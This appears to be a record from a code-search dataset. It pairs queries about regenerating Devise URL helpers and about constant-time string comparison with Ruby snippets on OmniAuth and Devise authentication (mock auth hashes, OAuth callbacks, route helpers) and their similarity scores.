"def mock_omniauth(provider, test_mode=true)\n\n # call method with mock values and attributes for given provider\n params_provider = send(\"params_#{provider}\")\n\n # deactivate test_mode\n OmniAuth.config.test_mode = test_mode ? true : false\n\n #deliver omniauth mock credentials\n OmniAuth.config.add_mock(provider.to_sym, params_provider)\n end",
"def configure_backend!(config, backend, id = nil, secret = nil)\n return unless Rails.env.test? || APP_CONFIG.enabled?(\"oauth.#{backend}\")\n\n options = send(\"#{backend}_fetch_options\")\n\n if id\n config.omniauth backend, id, secret, options\n else\n config.omniauth backend, options\n end\nend",
"def mock_auth\n OmniAuth.config.mock_auth[:facebook] = OmniAuth::AuthHash.new({\n provider: 'facebook',\n uid: '123545',\n person_id: '1',\n credentials: {\n token: 'token',\n expires_at: Time.now + 10000000\n },\n info: {\n first_name: 'first_name',\n last_name: 'last_name'\n }\n })\n end",
"def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend",
"def facebook\n social_login(request.env['omniauth.auth'], current_user,\"Facebook\")\n end",
"def setup\n # Once you have enabled test mode, all requests\n # to OmniAuth will be short circuited to use the mock authentication hash.\n # A request to /auth/provider will redirect immediately to /auth/provider/callback.\n OmniAuth.config.test_mode = true\n end",
"def oauth_login?\n github_id.present? || facebook_id.present?\n end",
"def auth\n request.env['omniauth.auth']\n end",
"def auth\n request.env['omniauth.auth']\n end",
"def auth\n request.env['omniauth.auth']\n end",
"def auth\n request.env['omniauth.auth']\n end",
"def authorize(auth = {})\n auth[:login] = auth[:login] || auth[:username]\n raise TaskMapper::Exception.new('Please provide at least a username') if auth[:login].blank?\n provider.login = auth[:login]\n provider.user_token = auth[:password] || auth[:oauth_token]\n provider.api = new_github_client auth\n end",
"def create_user\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new({\n \"provider\" => \"github\",\n \"uid\" => \"666\",\n \"credentials\" => {\n \"token\" => \"123123\"},\n \"info\" => {\n \"nickname\" => \"The Bease\",\n \"name\" => \"WilliamShatner\",\n \"email\" => \"[email protected]\",\n },\n \"extra\" => {\n \"raw_info\" => {\n \"avatar_url\" => \"123\",\n \"html_url\" => \"12312\",\n \"hireable\" => \"false\",\n \"followers\" => \"1\",\n \"following\" => \"1\",\n }\n },\n })\n end",
"def authenticate_user\n Rails.application.config.use_omniauth ? login_required : check_session\n end",
"def link_with_omniauth(auth)\n identities.find_or_initialize_by(provider: auth[:provider], uid: auth[:uid])\n end",
"def access_token(provider)\n @provider = Config.send(provider)\n @provider.access_token\n end",
"def oauth_authentication; end",
"def link_to_authorize_social(provider, options={})\n from = options[:from]\n friendly_provider = provider.to_s.split(\"_\").first\n case from\n when :account\n if current_user.has_auth?(provider)\n link_to friendly_provider, \"javascript:void(0)\", class: \"dev #{friendly_provider}-added\"\n else\n link_to friendly_provider, user_omniauth_authorize_path(provider), class: friendly_provider\n end\n when :signup\n if current_user.has_auth?(provider)\n link_to \"javascript:void(0)\", class: \"btn btn-large #{friendly_provider}\" do\n content_tag(:i, \"\", class: \"icon-#{friendly_provider}-sign icon-large\") + \" #{friendly_provider} Added\"\n end\n else\n link_to user_omniauth_authorize_path(provider), class: \"btn btn-large #{friendly_provider}\" do\n content_tag(:i, \"\", class: \"icon-#{friendly_provider}-sign icon-large\") + \" Connect #{friendly_provider}\"\n end\n end\n when :signin\n link_to user_omniauth_authorize_path(provider), class: \"#{friendly_provider}\" do\n content_tag(:i, \"\", class: \"icon-#{friendly_provider}-sign icon-3x\")\n end\n end\n end",
"def configure_oauth!(config)\n [\n { backend: :google_oauth2, id: \"id\", secret: \"secret\" },\n { backend: :open_id },\n { backend: :openid_connect },\n { backend: :github, id: \"client_id\", secret: \"client_secret\" },\n { backend: :gitlab, id: \"application_id\", secret: \"secret\" },\n { backend: :bitbucket, id: \"key\", secret: \"secret\" }\n ].each do |b|\n if b[:id]\n id = APP_CONFIG[\"oauth\"][b[:backend].to_s][b[:id]]\n secret = APP_CONFIG[\"oauth\"][b[:backend].to_s][b[:secret]]\n else\n id = nil\n secret = nil\n end\n\n configure_backend!(config, b[:backend], id, secret)\n end\nend",
"def github_client\n @github_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"github\").first\n Octokit::Client.new(access_token: provider.access_token)\n end\n end\n end",
"def create_authentication(omniauth)\n authentications.create! do |a|\n a.provider = omniauth.provider\n a.uid = omniauth.uid\n end\n end",
"def auth_as_user(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\nend",
"def source_facebook?\n omniauth_access? && identities.collect{|i| i.provider}.include?('facebook')\n end",
"def apply_omniauth(omniauth)\n info = omniauth[\"info\"]\n\n user_name = %Q(#{info[\"first_name\"]} #{info[\"last_name\"]})\n user_name.gsub!(/\\s+/, \" \").strip!\n\n self.provider = omniauth[\"provider\"]\n self.uid = omniauth[\"uid\"]\n self.name = user_name if self.name.blank?\n self.email = info[\"email\"] if info[\"email\"] && self.email.blank?\n self\n end",
"def set_ommniauth_twitter(email = '[email protected]')\n OmniAuth.config.mock_auth[:twitter] = auth_hash_twitter(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:twitter]\n end",
"def apply_facebook(omniauth)\n if (info = omniauth['info'] rescue false)\n self.email = (info['email'] rescue '')\n end\n end",
"def omniauth?\n !!@omniauth\n end",
"def action_missing(provider)\n auth = request.env[\"omniauth.auth\"]\n\n # provider-specific tweaks to standard omniauth hash\n case provider\n when \"cas\"\n auth.info.name = auth.extra.name\n auth.info.email = auth.extra.email\n end\n\n @user = User.from_omniauth(auth)\n\n if @user.persisted?\n sign_in_and_redirect @user, :event => :authentication\n else\n session[\"devise.#{provider}_data\"] = request.env[\"omniauth.auth\"]\n flash[:alert] = @user.errors.map{ |k,v| \"#{k}: #{v}\"}.join(\"<br />\").html_safe || \"Error signing in with #{provider}\"\n redirect_to root_path\n end\n end",
"def omniauthclone omniauthable, auth=nil\n PROVIDERS.reject{|p| p == auth}.each do |provider|\n unless self.send(\"#{provider}?\")\n if omniauthable.send(\"#{provider}?\")\n self[\"#{auth.provider}_uid\"] = omniauthable[\"#{auth.provider}_uid\"]\n self[\"#{auth.provider}_auth\"] = omniauthable[\"#{auth.provider}_auth\"]\n self.save\n end\n end\n end\n end",
"def from_omniauth?\n uid.present? && provider.present?\n end",
"def provider\n conf['provider'] || 'defaults'\n end",
"def create_authentication(omniauth)\n authentications.create! do |a|\n a.provider = omniauth.provider\n a.uid = omniauth.uid\n end\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n apply_trusted_services(omniauth) if self.new_record?\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def mock_omniauth(uid=nil, name=\"John Doe\", nickname=\"johndoe\")\n OmniAuth.config.mock_auth[:instagram] = OmniAuth::AuthHash.new({\n provider: \"instagram\",\n uid: uid || SecureRandom.hex,\n credentials: {token: \"auth-token\"},\n info: {image: \"http://example.com/profile.jpg\", name: name, nickname: nickname}\n })\nend",
"def facebook\n handle_auth \"facebook\"\n end",
"def github\n process_oauth_callback\n end",
"def register_middleware(omniauth)\n raise NotImplementedError\n end",
"def github_auth_params\n github_auth = request.env['omniauth.auth']\n params[:github_token] = github_auth.credentials.token\n params[:github_secret] = github_auth.credentials.secret\n params.permit(:github_token, :github_secret)\n end",
"def github_account_type\n github_enterprise_enabled? ? \"GitHub Enterprise\" : \"GitHub\"\n end",
"def oauth_provider_humanized\n case provider\n when 'google' then 'Google'\n when 'github' then 'GitHub'\n end\n end",
"def omniauthentication(env)\n # Extract the email domain from the omniauth hash.\n if env['omniauth.auth']['info']['email']\n user_email = env['omniauth.auth']['info']['email']\n email_domain = user_email.split(\"@\").last\n end\n \n # If there is no email domain, redirect the user before authentication.\n unless email_domain\n return [302, {\"Location\" => referer}, [\"\"]]\n end\n\n # If there is no domain_whitelist, alert the developer.\n unless domain_whitelist\n warn <<~EOF\n\n !! Balrog has not been configured with a domain_whitelist. You shall not\n !! pass! When setting up Balrog::Middleware, pass in a block and\n !! call `set_domain_whitelist` passing in an omniauth provider and\n !! required keys.\n !!\n !! Check out https://github.com/pixielabs/balrog for more information.\n\n EOF\n return [302, {\"Location\" => referer}, [\"\"]]\n end\n\n # Authenticate the user if the user's email domain is whitelisted.\n if domain_whitelist.include?(email_domain)\n authenticate_user(env)\n end\n\n referer = env[\"omniauth.origin\"] || '/'\n\n [302, {\"Location\" => referer}, [\"\"]]\n end",
"def handle_omniauth_callback(auth)\n # Try to find authentication first\n authentication = Authentication.find_by_provider_and_uid(auth['provider'], auth['uid'])\n provider = auth['provider'] || 'Unknown'\n\n ## data of facebook\n # info=#<OmniAuth::AuthHash::InfoHash email=\"[email protected]\"\n # first_name=\"Long\" image=\"http://graph.facebook.com/100000709457324/picture?type=square\"\n # last_name=\"Phan-Hoàng\" location=\"Ho Chi Minh City, Vietnam\" name=\"Long Phan-Hoàng\"\n # nickname=\"phanhoanglong2610\"\n # urls=#<Hashie::Mash Facebook=\"http://www.facebook.com/phanhoanglong2610\">\n # verified=true> provider=\"facebook\" uid=\"100000709457324\"\n\n if authentication\n\n # sign in and direct to previous page\n sign_in_and_redirect authentication.user, :event => :authentication\n set_flash_message(:notice, :success, :kind => auth[\"facebook\"]) if is_navigational_format?\n\n else\n # Authentication not found, thus a new user.\n @user = User.new\n\n # temp for username social accounts such as Twitter\n\n #prefill with info from provider website\n @user.apply_omniauth(auth)\n\n @info = {\n \t:first_name => @user.first_name,\n \t:last_name => @user.last_name,\n \t:email => @user.email\n }\n\n session[\"devise.#{auth[\"provider\"]}_data\"] = auth.except(\"extra\")\n\n render :template => \"devise/registrations/new\"\n end\n\tend",
"def test_omniauth_add_on_tests\n run_hoboken(:generate) do\n bin_path = File.expand_path('../../bin/hoboken', __dir__)\n execute(\"(echo 'twitter' && echo '0.0.1') | #{bin_path} add:omniauth\")\n assert_file('test/unit/app_test.rb', <<-CODE\n setup do\n OmniAuth.config.test_mode = true\n end\n\n test 'GET /login' do\n get '/login'\n assert_equal('<a href=\"/auth/twitter\">Login</a>', last_response.body)\n end\n\n test 'GET /auth/twitter/callback' do\n auth_hash = {\n provider: 'twitter',\n uid: '123545',\n info: {\n name: 'John Doe'\n }\n }\n\n OmniAuth.config.mock_auth[:twitter] = auth_hash\n get '/auth/twitter/callback'\n assert_equal(MultiJson.encode(auth_hash), last_response.body)\n end\n\n test 'GET /auth/failure' do\n OmniAuth.config.mock_auth[:twitter] = :invalid_credentials\n get '/auth/failure'\n assert_response :not_authorized\n end\n\n CODE\n )\n end\n end",
"def default_oauth_callback(&on_fail)\n auth = request.env['omniauth.auth']\n\n @user = User.send(\"find_for_#{auth.provider.to_s}_oauth\", auth, current_user)\n unless @user.persisted?\n # save oauth data if user creation failed\n session[\"devise.#{auth.provider.to_s}_data\"] = auth.except(:extra)\n end\n auth.fail_redirect ||= new_user_registration_path\n\n unless handle_oauth_login\n if on_fail\n yield auth\n else\n default_oauth_fail\n end\n end\n end"
] | [
"0.6677584",
"0.6627392",
"0.6343202",
"0.6343202",
"0.6342501",
"0.6285651",
"0.6250629",
"0.6242824",
"0.6242824",
"0.62416434",
"0.6215671",
"0.6207433",
"0.62001616",
"0.6190402",
"0.6168289",
"0.61561173",
"0.61387134",
"0.61215746",
"0.6113521",
"0.60856104",
"0.6083039",
"0.60772115",
"0.60650456",
"0.60612404",
"0.60507965",
"0.6041972",
"0.5998146",
"0.5994167",
"0.5963769",
"0.5928555",
"0.5928169",
"0.5897933",
"0.5890364",
"0.5884721",
"0.5863054",
"0.58567554",
"0.5842035",
"0.5836203",
"0.5813303",
"0.5813303",
"0.577088",
"0.5752975",
"0.5752975",
"0.57399064",
"0.57399064",
"0.5729234",
"0.5723944",
"0.57232165",
"0.57232165",
"0.5717826",
"0.57159877",
"0.5706808",
"0.5692224",
"0.5688734",
"0.5673185",
"0.5668875",
"0.56687313",
"0.56657785",
"0.56576055",
"0.5654696",
"0.5628146",
"0.5614667",
"0.5610975",
"0.5592546",
"0.5592546",
"0.5592546",
"0.5592546",
"0.55352575",
"0.5528668",
"0.5521976",
"0.54863137",
"0.5462854",
"0.54488796",
"0.54440165",
"0.5431042",
"0.54116017",
"0.54110426",
"0.5398592",
"0.53968346",
"0.539619",
"0.53903735",
"0.5385799",
"0.53857553",
"0.53850216",
"0.5383516",
"0.53712505",
"0.5368135",
"0.5349733",
"0.5342966",
"0.5342813",
"0.5293117",
"0.5284575",
"0.528116",
"0.5275848",
"0.5267402",
"0.52652913",
"0.5263236",
"0.52492017",
"0.52428865",
"0.523347"
] | 0.6994144 | 0 |
Regenerates url helpers considering Devise.mapping source://devise//lib/devise.rb475 | def regenerate_helpers!; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_mappings; end",
"def url_helpers_module; end",
"def define_path_helpers; end",
"def add_devise_route # :nodoc:\n devise_route = <<-ROUTE\n\n devise_for :users,\n path: '',\n path_names: {\n :sign_in => 'login',\n :sign_out => 'logout',\n :sign_up => 'create',\n :password => 'reset_password',\n :confirmation => 'confirm_user',\n :registration => 'account'\n }\n ROUTE\n inject_into_file \"config/routes.rb\",\n devise_route,\n after: %r{Application\\.routes\\.draw do\\n}\n end",
"def url_helpers\n Rails.application.routes.url_helpers\n end",
"def devise_modules_hook!; end",
"def url_helpers\n Rails.application.routes.url_helpers\n end",
"def define_url_helper(mod, name, helper, url_strategy); end",
"def path_helper\n Rails.application.routes.url_helpers\n end",
"def path_helper\n Rails.application.routes.url_helpers\n end",
"def devise_autosigninable(mapping, controllers)\n match \"/:#{mapping.name}_id/autosignin/:autosignin_token\" => 'devise/autosignin#create',\n :as => \"autosignin\", :via => :get\n end",
"def add_url_helper(name, defaults, &block); end",
"def devise_mapping\n @devise_mapping ||= request.env[\"devise.mapping\"]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def options\n render \"devise/shared/_links\"\n end",
"def add_untranslated_helpers_to_controllers_and_views old_name\n ['path', 'url'].map do |suffix|\n new_helper_name = \"#{old_name}_#{suffix}\"\n\n ROUTE_HELPER_CONTAINER.each do |helper_container|\n helper_container.send :define_method, new_helper_name do |*args|\n if respond_to? \"#{old_name}_#{locale_suffix(I18n.locale)}_#{suffix}\"\n send \"#{old_name}_#{locale_suffix(I18n.locale)}_#{suffix}\", *args\n else\n send \"#{old_name}_#{locale_suffix(I18n.default_locale)}_#{suffix}\", *args\n end\n end\n end\n\n new_helper_name.to_sym\n end\n end",
"def url_helpers(supports_path = true)\n UrlHelpers\n end",
"def devise_ip_authentications(mapping, controllers)\n resource :ip_authentications, only: [:new], path: mapping.path_names[:ip_authentications],\n controller: controllers[:ip_authentications]\n end",
"def devise_controller?; end",
"def autosigninable(routes, mapping)\n routes.autosignin \"/:#{mapping.name.to_s}_id/autosignin/:autosignin_token\", :controller => 'devise/autosignin', :action => 'create', :conditions => { :method => :get }\n end",
"def resource_name\n devise_mapping.name\n end",
"def path_helpers_module; end",
"def resource_class\n devise_mapping.to\n end",
"def anchored_routes; end",
"def devise_autosignin(mapping, controllers)\n get \"/:#{mapping.name}_id/autosignin/:autosignin_token\",\n controller: controllers[:autosignin],\n action: 'create',\n as: :autosignin\n end",
"def devise_ip_authentication(mapping, controllers)\n resource :ip_authentication, only: %i(show), path: mapping.path_names[:ip_authentication],\n controller: controllers[:ip_authentications]\n end",
"def update_routes\n inject_into_file 'config/routes.rb', after: \"devise_for :users\" do <<-'RUBY'\n, controllers: { omniauth_callbacks: \"omniauth_callbacks\" }\n RUBY\n end\n\n puts 'Check out your config/routes.rb where the devise OAuth route was created'.colorize(:light_green)\n end",
"def custom_routes; end",
"def user_login\n \"/users/login\"\nend",
"def register_path; @register_path ||= nil; end",
"def after_sign_up_path_for(resource)\n # binding.irb\n super\n # super(resource) do\n edit_user_registration_path\n # end\n # binding.irb\n # if resource[:role] == 'guest'\n # new_guest_path\n # else\n # new_host_path\n # end\n end",
"def add_url_helper(name, defaults, &block)\n helper = CustomUrlHelper.new(name, defaults, &block)\n path_name = :\"#{name}_path\"\n url_name = :\"#{name}_url\"\n\n @path_helpers_module.module_eval do\n redefine_method(path_name) do |*args|\n helper.call(self, args, true)\n end\n end\n\n @url_helpers_module.module_eval do\n redefine_method(url_name) do |*args|\n helper.call(self, args, false)\n end\n end\n\n @path_helpers << path_name\n @url_helpers << url_name\n\n self\n end",
"def helpers_path=(_arg0); end",
"def helpers_paths; end",
"def helpers_paths; end",
"def helpers_paths; end",
"def helpers_paths; end",
"def devise_parameter_sanitizer; end",
"def external_routes; end",
"def _prefixes #:nodoc:\n @_prefixes ||= if self.class.scoped_views? && request && devise_mapping\n [\"#{devise_mapping.scoped_path}/#{controller_name}\"] + super\n else\n super\n end\n end",
"def signin_url\n {:controller => 'auth', :action => 'signin'}\n end",
"def after_sign_up_path_for(resource)\n after_register_path\n end",
"def cms_url_helper_lookup(path_helper, *args)\n # main_app is required if helper is invoked from within spree template\n if main_app && defined?(Spree)\n main_app.send path_helper.to_sym, *args\n else\n send path_helper.to_sym, *args\n end\n end",
"def add_values_application_controller\n inject_into_class \"app/controllers/application_controller.rb\", \"ApplicationController\" do\n \" helper_method :current_user \\n \" +\n \" after_filter :path \\n\"+\n \" private \\n\" +\n \" def current_user \\n\" +\n \" table_name = Rails.application.config.devise_model_name.titlecase \\n\"+\n \" @table_name = table_name.constantize \\n\"+\n \" @current_user ||= @table_name.find(session[:user_id]) if session[:user_id] \\n\\n\" +\n \" end \\n\\n\" +\n \" def path \\n\"+\n \" path= request.path \\n\"+\n \" notice = request.flash[:notice] \\n\"+\n \" @devise_model_name = Rails.application.config.devise_model_name \\n\"+\n \" if path == '/'+@devise_model_name+'s/sign_up' && notice == 'This is one time process' \\n\"+\n \" count =+ 1 \\n\"+\n \" if count == 1 \\n\"+\n \" session[:last_get_url] = '1' \\n\"+\n \" end \\n\"+\n \" else \\n\"+\n \" count = 0 \\n\"+\n \" session[:last_get_url] = '0' \\n\"+\n \" end \\n\"+\n \" end \\n\\n\"+\n \" def after_sign_in_path_for(current_user) \\n\"+\n \" last_get_url = session[:last_get_url] \\n\"+\n \" if session[:last_get_url].to_s == '1' \\n\"+\n \" @devise_model_name = Rails.application.config.devise_model_name \\n\"+\n \" table_name = Rails.application.config.devise_model_name.titlecase \\n\"+\n \" @table_name = table_name.constantize\\n\"+\n \" @user = @table_name.find_by_id(current_user) \\n \" +\n \" @socialAccounts = SocialAccount.find_by_user_id(@user.id.to_s) \\n\\n\"+\n \" if @socialAccounts \\n \"+\n \" session[:user_id] = @user.id \\n\"+\n \" sign_in(@user) \\n\"+\n \" return root_path \\n\"+\n \" else \\n\"+\n \" @newaccount = SocialAccount.new \\n\"+\n \" @newaccount.user_id = @user.id \\n\"+\n \" @newaccount.provider = session[:auth_provider] \\n\"+\n \" @newaccount.uid = session[:auth_uid] \\n\"+\n \" @newaccount.account_name = session[:auth_account_name] \\n\"+\n \" @newaccount.save! \\n\"+\n \" session[:user_id] = @user.id \\n\"+\n \" sign_in(@user) \\n\"+\n \" return root_path \\n\"+\n \" end \\n\"+\n \" else \\n\"+\n \" session.delete(:auth_provider) \\n\"+\n \" session.delete(:auth_uid) \\n\"+\n \" session.delete(:auth_account_name) \\n\"+\n \" return root_path \\n\"+\n \" end \\n\"+\n \" end \\n\\n\"\n end #EO inject_into_class\n end",
"def generate_link\n 'autologin/'+code\n end",
"def headers_for(action, opts)\n # localeで判定したい.\n super.merge!({template_path: '/users/ja'})\n # this moves the Devise template path to /views/users/ja\n end",
"def auto_url_for(resource)\n\n\n\n config = active_admin_resource_for(resource.class)\n\n\n\n return unless config\n\n\n\n\n\n\n\n if config.controller.action_methods.include?(\"show\") &&\n\n\n\n authorized?(ActiveAdmin::Auth::READ, resource)\n\n\n\n url_for config.route_instance_path resource\n\n\n\n elsif config.controller.action_methods.include?(\"edit\") &&\n\n\n\n authorized?(ActiveAdmin::Auth::UPDATE, resource)\n\n\n\n url_for config.route_edit_instance_path resource\n\n\n\n end\n\n\n\n end",
"def users_url\n view_context.users_url\n end",
"def define_locale_helpers(name, helper)\n %w(url path).each do |method|\n helper.send :define_method, \"#{name}_#{method}\" do |*args|\n send(\"#{name}_#{I18n.locale}_#{method}\", *args)\n end\n end\n end",
"def devise_password_expired(mapping, controllers)\n resource :password_expired, :only => [:show, :update], :path => mapping.path_names[:password_expired], :controller => controllers[:password_expired]\n end",
"def full_url_helper(resource)\n \"#{root_url}fhir/r4/#{resource.class.name.split('::').last}/#{resource.id}\"\n end",
"def after_update_path_for(_)\n edit_user_registration_path\n end",
"def helpers\n ActionController::Base.helpers\nend",
"def after_sign_in_path_for(resource)\n urls_path\n end",
"def helpers\n ActionController::Base.helpers\n end",
"def helpers\n ActionController::Base.helpers\n end",
"def routes_map; end",
"def generate_token\n self.token = Devise.friendly_token\n end",
"def after_inactive_sign_up_path_for(resource)\n #scope = Devise::Mapping.find_scope!(resource)\n #router_name = Devise.mappings[scope].router_name\n #context = router_name ? send(router_name) : self\n #context.respond_to?(:root_path) ? context.root_path : \"/\"\n after_sign_in_path_for(resource)\n end",
"def helpers\n ActionController::Base.helpers\n end",
"def url_template; end",
"def url_template; end",
"def helpers\n ApplicationController.helpers\n end",
"def helpers\n ApplicationController.helpers\n end",
"def devise_verification_code(mapping, controllers)\n resource :paranoid_verification_code, :only => [:show, :update], :path => mapping.path_names[:verification_code], :controller => controllers[:paranoid_verification_code]\n end",
"def devise_password_expired(mapping, controllers)\n resource :password_expired, only: %i(show update), path: mapping.path_names[:password_expired],\n controller: controllers[:password_expired]\n end",
"def after_sign_up_path_for(resource)\n edit_user_registration_path\n end",
"def to_slug\n\t\t# login ?\t\"/u/#{login}\" : \"/users/#{id}\"\n\t\t\"/users/#{id}\"\n\tend",
"def after_sign_up_path_for(resource)\n super(resource)\n end",
"def after_sign_up_path_for(resource)\n super(resource)\n end",
"def password\n Devise.friendly_token[0, 20]\n end",
"def after_inactive_sign_up_path_for(resource)\n # super(resource)\n session[THANKS_KEY] = { email: resource[:email] }\n if resource.individual_use == true\n users_thanks_personal_path\n else\n users_thanks_company_path\n end\n end",
"def after_inactive_sign_up_path_for(resource)\n super(resource)\n # users_popups_email_verification_path\n end",
"def routes\n @routes ||= Engine.routes.url_helpers\n end",
"def error_links_hash\n {\n sign_in: {\n text: I18n.t('devise.sessions.new.sign_in'),\n url: url_helpers.new_user_session_path\n },\n sign_up: {\n text: I18n.t('devise.registrations.new.sign_up'),\n url: url_helpers.new_user_registration_path\n },\n permissions: {\n text: I18n.t('models.permissions.request_permissions'),\n url: url_helpers.new_access_request_projects_path\n },\n confirm: {\n text: I18n.t('devise.shared.links.confirm_account'),\n url: url_helpers.new_user_confirmation_path\n },\n reset_password: {\n text: I18n.t('devise.shared.links.reset_password'),\n url: url_helpers.new_user_password_path\n },\n resend_unlock: {\n text: I18n.t('devise.shared.links.unlock_account'),\n url: url_helpers.new_user_unlock_path\n }\n }\n end",
"def after_sign_up_path_for(resource)\n\n end",
"def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end",
"def after_sign_up_path_for(resource)\n super(resource)\n end",
"def after_sign_up_path_for(_resource)\n edit_user_registration_path\n end",
"def api_profile_url_helper\n return api_profile_url if api_profile_url.to_s =~ /^https?/\n # API SETUP\n return case provider\n when 'facebook' then\n \"#{API_URL[provider]}/#{uid}\"\n when 'flickr' then\n \"#{API_URL[:flickr]}people/#{uid}\"\n when 'foursquare' then\n \"#{API_URL[provider]}/user/#{uid}\"\n when 'google_oauth2' then\n \"#{API_URL[provider]}#{uid}/posts\"\n else\n nil\n end\n end",
"def api_profile_url_helper\n return api_profile_url if api_profile_url.to_s =~ /^https?/\n # API SETUP\n return case provider\n when 'facebook' then\n \"#{API_URL[provider]}/#{uid}\"\n when 'flickr' then\n \"#{API_URL[:flickr]}people/#{uid}\"\n when 'foursquare' then\n \"#{API_URL[provider]}/user/#{uid}\"\n when 'google_oauth2' then\n \"#{API_URL[provider]}#{uid}/posts\"\n else\n nil\n end\n end",
"def app_helpers\n @app_helpers ||= Class.new do\n include Rails.application.routes.url_helpers\n include ::ApplicationHelper\n end.new\n end",
"def after_sign_in_path_for(_resource)\n current_user.email? ? root_url : edit_user_registration_url\n end",
"def update_password_controller\n \"Admin::UsersController\"\n end",
"def generate_password\n self.password = Devise.friendly_token.first(8)\n end",
"def after_sign_up_path_for(resource)\n :new_profile # Or :prefix_to_your_route\n end",
"def after_sign_up_path_for(resource)\n #super(resource)\n if current_user\n build_site_for_user\n end\n admin_path(current_user.site.url)\n end",
"def _routes; end",
"def new_user_registration_path\n add_return_to_path('new_user_registration_path')\n end",
"def after_sign_up_path_for(resource)\n :new_reparation\nend",
"def route_helper(ctrlr, action = nil, base: false)\n ctr = ctrlr.to_s.underscore\n ctr = ctr.split('/').map(&:singularize).join('_') if ctr.include?('/')\n ctr = ctr.split('.').map(&:singularize).join('_') if ctr.include?('.')\n act = action&.to_sym\n act = base_action(act) if act && base\n if ctr.end_with?('_url', '_path')\n Log.warn(\"#{__method__}: #{ctrlr}: ignoring action #{act}\") if act\n ctr\n elsif ctr == 'home'\n act ? :\"#{act}_path\" : :main_path\n else\n case act\n when :index, nil then :\"#{ctr}_index_path\"\n when :show then :\"#{ctr}_path\"\n else :\"#{act}_#{ctr}_path\"\n end\n end\n end",
"def after_sign_up_path_for(resource)\n super(resource)\nend",
"def friendly_id_config; end",
"def after_inactive_sign_up_path_for(resource)\n \"/users/sign_up\"\n end",
"def update_devise_rb\n inject_into_file 'config/initializers/devise.rb', after: \"config.sign_out_via = :delete\\n\" do <<-'RUBY'\n\n # Config Social Keys to create the SignUps\n config.sign_out_via = :get\n config.omniauth :facebook, ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"], { :scope => 'email, offline_access', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :twitter, ENV[\"TWITTER_KEY\"], ENV[\"TWITTER_SECRET\"], { :scope => 'r_fullprofile, r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :linkedin, ENV[\"LINKEDIN_KEY\"], ENV[\"LINKEDIN_SECRET\"], { :scope => 'r_fullprofile r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :github, ENV['GITHUB_KEY'], ENV['GITHUB_SECRET'], scope: \"user, public_repo\"\n config.omniauth :google_oauth2, ENV['GOOGLE_KEY'], ENV['GOOGLE_SECRET'], {}\n\n RUBY\n end\n\n puts 'Check your config/initializers/devise.rb which was updated to have the Social Keys used (OmniAuth linked to devise)'.colorize(:light_green)\n puts 'UPDATE your config/initializers/devise.rb if you need more data from the user, CHANGING the: SCOPE'.colorize(:light_yellow)\n end",
"def after_sign_up_path_for(resource)\n edit_registration_path(resource)\n end",
"def after_sign_up_path_for(resource)\n edit_registration_path(resource)\n end",
"def after_inactive_sign_up_path_for(resource)\n scope = Devise::Mapping.find_scope!(resource)\n router_name = Devise.mappings[scope].router_name\n context = router_name ? send(router_name) : self\n context.respond_to?(:root_path) ? context.root_path : \"/\"\n # context.respond_to?(:index) ? context.index : \"/users\"\n end"
] | [
"0.7049527",
"0.66652095",
"0.6254909",
"0.62348306",
"0.6123032",
"0.6090884",
"0.6084645",
"0.6054309",
"0.6049145",
"0.6049145",
"0.6032312",
"0.6026572",
"0.60214484",
"0.601394",
"0.601394",
"0.601394",
"0.59097016",
"0.5883669",
"0.58504766",
"0.58329934",
"0.5830643",
"0.58194137",
"0.5785015",
"0.57816344",
"0.57660526",
"0.57120275",
"0.5651291",
"0.56470656",
"0.563377",
"0.5617684",
"0.55496186",
"0.5533215",
"0.5531728",
"0.5508897",
"0.5494255",
"0.54606134",
"0.54606134",
"0.54606134",
"0.54606134",
"0.54334015",
"0.5412024",
"0.5404443",
"0.5386382",
"0.5317279",
"0.52900344",
"0.5289189",
"0.5258875",
"0.52392006",
"0.5228084",
"0.52276814",
"0.52243197",
"0.5220893",
"0.52161616",
"0.52083576",
"0.5206414",
"0.5204731",
"0.51997405",
"0.51997405",
"0.51816535",
"0.5178445",
"0.5158964",
"0.51511043",
"0.5144159",
"0.5144159",
"0.51420885",
"0.51420885",
"0.5140032",
"0.5138665",
"0.5136987",
"0.511488",
"0.510739",
"0.510739",
"0.51010567",
"0.5097301",
"0.5090196",
"0.5084483",
"0.50784254",
"0.5078174",
"0.5074917",
"0.50712276",
"0.506142",
"0.50572157",
"0.50572157",
"0.5056546",
"0.50482374",
"0.5045737",
"0.5045455",
"0.5040234",
"0.5033423",
"0.5032526",
"0.5027987",
"0.5018712",
"0.5011248",
"0.500795",
"0.5007395",
"0.50022614",
"0.50011945",
"0.49819067",
"0.49819067",
"0.49792114"
] | 0.5190152 | 58 |
constanttime comparison algorithm to prevent timing attacks source://devise//lib/devise.rb515 | def secure_compare(a, b); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
